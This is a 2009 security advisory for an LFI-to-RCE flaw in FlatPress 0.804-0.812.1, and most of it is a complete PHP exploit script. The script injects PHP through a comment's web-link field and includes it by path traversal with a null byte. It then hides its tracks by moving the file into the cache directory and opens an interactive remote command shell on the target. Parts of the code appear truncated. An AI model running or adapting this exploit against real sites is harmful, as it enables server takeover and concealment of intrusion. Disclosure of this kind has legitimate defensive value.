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FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution



FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution



Security Advisory
-----------------
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution


Researcher Information
----------------------
Discovered by: Giuseppe `Zmax` Fuggiano
Website: http://www.giusef.net 
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com


Product Information
-------------------
FlatPress is an open-source standard-compliant multi-lingual
extensible blogging engine written in PHP by Edoardo Vacchi.

Website: http://www.flatpress.org 


Vulnerability Description
-------------------------
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty
LFI vulnerability which can be exploited to have RCE (Remote Command
Execution). The piece of code involved is in the
fp-includes/core/core.users.php directory in the user_get() function
as showed below.

   function user_get($userid=null){
       if ($userid == null && ($user = user_loggedin())) {
           return $user;
       }
       if (file_exists($f = USERS_DIR . $userid.".php")) {
           include($f);

           return $user;
       }
   }

It is possible to create a crafted comment for an article, and inject
PHP code into the "web link" field, which is not properly validated.
Then, a remote attacker could use this code to execute shell commands
remotely, eventually hiding his own tracks (e.g. deleting the injected
comment).


Disclosure timeline
-------------------

DD/MM/YYYY

* 24/09/2009: Vulnerability discovery and analysis;
* 26/09/2009: The vendor was notificated via e-mail;
* 26/09/2009: Vendor response and a new release publicly available;
* 27/09/2009: The researcher starts coding the exploit;
* 29/09/2009: Exploit complete and tested.


Workaroud
---------
Update to the newer version 0.812.2


Shouts
------
Thank you (you-know-who) :-)


Exploit
-------

   *
   * Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution
   *              vulnerability exploit (fp-includes/core/core.users.php).
   *              This code posts a crafted comment with a very simple
PHP shell.
   *              It exploits the LFI, hides the shell in the cache directory
   *              and starts a remote command session via POST.
   *
   * Syntax: php fp-lfi2rce.php   [action] [lang] [shell]
   *         :   the hostname or IP address of your target;
   *         :   the path where FlatPress was installed;
   *         [action]: the action to take against the host system
(test, attack);
   *         [lang]:   the remote language used (en, it);";
   *         [shell]:  if already exploited, you could just have the shell name.
   *
   * Dependencies: php5-curl.
   *
   * Examples:
* php fp-lfi2rce.php www.example.com / 
      => will test
* php fp-lfi2rce.php www.example.com /blog attack 
      => will attack
* php fp-lfi2rce.php www.example.com /flatpress attack en 
12345678.php  => start remote session
   */

  /* GET request, returns the page */
  function get_url_contents($crl, $url)
  {
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
    $ret = curl_exec($crl);

    return $ret;
  }

  /* POST request */
  function post_url_fields($crl, $url, $fields)
  {
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($crl, CURLOPT_POST, 1);
    curl_setopt($crl, CURLOPT_POSTFIELDS, $fields);
    curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
    $ret = curl_exec($crl);

    return $ret;
  }

  /* Execute remote command, returns the output */
  function fp_exec($crl, $sh, $cmd)
  {
    $ret = post_url_fields($crl, $sh, "c=$cmd");

    if ($ret) {
$pos1 = strpos($ret, 'http://www.aaa') + 14; 
      $pos2 = strpos($ret, 'aaa.com', $pos1);
      $result = substr($ret, $pos1, $pos2-$pos1);
      return $result;
    } else
      return false;
  }

  /* Starts a remote command session */
  function fp_shell($crl, $sh)
  {
    echo "\nStarting remote command session, type 'quit' or 'exit' to exit.\n";

    echo "\nremote> ";
    $line = trim(fgets(STDIN));

    while (($line != 'exit') && ($line != 'quit')) {
      if ($line != "") {
        if ($ret = fp_exec($crl, $sh, $line)) {
          echo "\n$ret";
        } else
          echo "\nError.\n";
      }
      echo "\nremote> ";
      $line = trim(fgets(STDIN));
    }
  }

  function fail($crl, $str)
  {
    curl_close($crl);

    die($str);
  }

  echo "\n Author: Giuseppe `Zmax` Fuggiano
\n";
  echo "\n";
  echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution\n";
  echo "              vulnerability exploit
(fp-includes/core/core.users.php).\n";
  echo "              This code posts a crafted comment with a very
simple PHP shell.\n";
  echo "              It exploits the LFI, hides the shell in the
cache directory\n";
  echo "              and starts a remote command session via POST.\n";
  echo "\n";
  echo " Syntax: $argv[0]   [action] [lang] [shell]\n";
  echo "         :   the hostname or IP address of your target;\n";
  echo "         :   the path where FlatPress was installed;\n";
  echo "         [action]: the action to take against the host system
(test, attack);\n";
  echo "         [lang]:   the remote language used (en, it);\n";
  echo "         [shell]:  if already exploited, you could just have
the shell name.\n";
  echo "\n";
  echo " Examples:\n";
echo " php $argv[0] www.example.com / 
          => will test\n";
echo " php $argv[0] www.example.com /blog attack 
          => will attack\n";
echo " php $argv[0] www.example.com /flatpress attack en 
12345678.php  => start remote session\n\n";

  $crl = curl_init();

  if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h')
    die();

  $HOST = $argv[1];
  $PATH = $argv[2];

  if (isset($argv[3]))
    $ACTION = $argv[3];
  else
    $ACTION = 'test';

  if (isset($argv[4]))
    $LANG = $argv[4];
  else
    $LANG = 'en';

  switch ($LANG) {
    case 'it':
      $LANGARRAY = array('aaspam'   => 'Per prevenire abusi del
sistema di commenti, ' .
                                       'ti chiediamo di scrivere il
risultato di ' .
                                       'questa semplice operazione matematica',
                         'sum'      => 'sommare',
                         'subtract' => 'togli');
      break;
    default: /* en */
      $LANGARRAY = array('aaspam'   => 'As a way to prevent abuses of
this commenting system, ' .
                                       'we must ask you to give the
result of this simple ' .
                                       'mathematical operation',
                         'sum'      => 'sum',
                         'subtract' => 'subtract');
      break;
  }

  if (isset($argv[5])) {
    $SHELL = $argv[5];
    fp_shell($crl, "fp-content/cache/$SHELL");
    curl_close($crl);
    exit();
  } else
    $SHELL = 'unknown';

  echo " Host: $HOST\n";
  echo " Path: $PATH\n";
  echo " Lang: $LANG\n";
  echo " Shell: $SHELL\n\n";

  echo " [+] Vulnerability test: ";

  $form = "user=../../admin&pass=".rand()."&submit=Login";
  $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

  if (strpos($loginpage, '");
  $mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos);
  $operation = strtok($mathstr, " ");

  switch ($operation) {
    case $LANGARRAY['sum']:
      $first = strtok(' ');
      $to = strtok(' ');
      $second = strtok(' ');
      $result = $first + $second;
      break;
    case $LANGARRAY['subtract']:
      $first = strtok(' ');
      $from = strtok(' ');
      $second = strtok(' ');
      $result = $second - $first;
      break;
    case (is_numeric($operation) ? $operation : ""):
      $first = $operation;
      $times = strtok(' ');
      $second = strtok(' ');
      $result = $first * $second;
      break;
    default:
      fail($crl, "FAIL!\n\n");
  }

  echo "$result\n";

  echo "     * Posting crafted comment...\n";

  $random = rand();
$form = 'name='.$random.'&email=fake@fake.com&url=http://www.aaa\aaa.com' 
.
          '&aaspam='.$result.'&content=foo&submit=Add';

  post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form);
  $commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

  echo "     * Searching comment name: ";

  if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",
                     $commentpage, $comments, PREG_PATTERN_ORDER)) {
      $commententry = end($comments[0]);
      echo "$commententry\n";
  } else
    fail($crl, "FAIL!\n\n");

  $year = substr($entry, 5, 2);
  $month = substr($entry, 7, 2);
  $commentpath = "content/$year/$month/$entry/comments/$commententry.txt";

  echo "     * Hiding tracks: ";

  $SHELL = rand().'.php';

  $form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .
          "&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";

  $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) { 
    echo "ok\n\n";
    echo " [+] Your shell: fp-content/cache/$SHELL\n";
  } else
    fail($crl, "FAIL!\n\n");

  fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");

  curl_close($crl);

  exit();
?>

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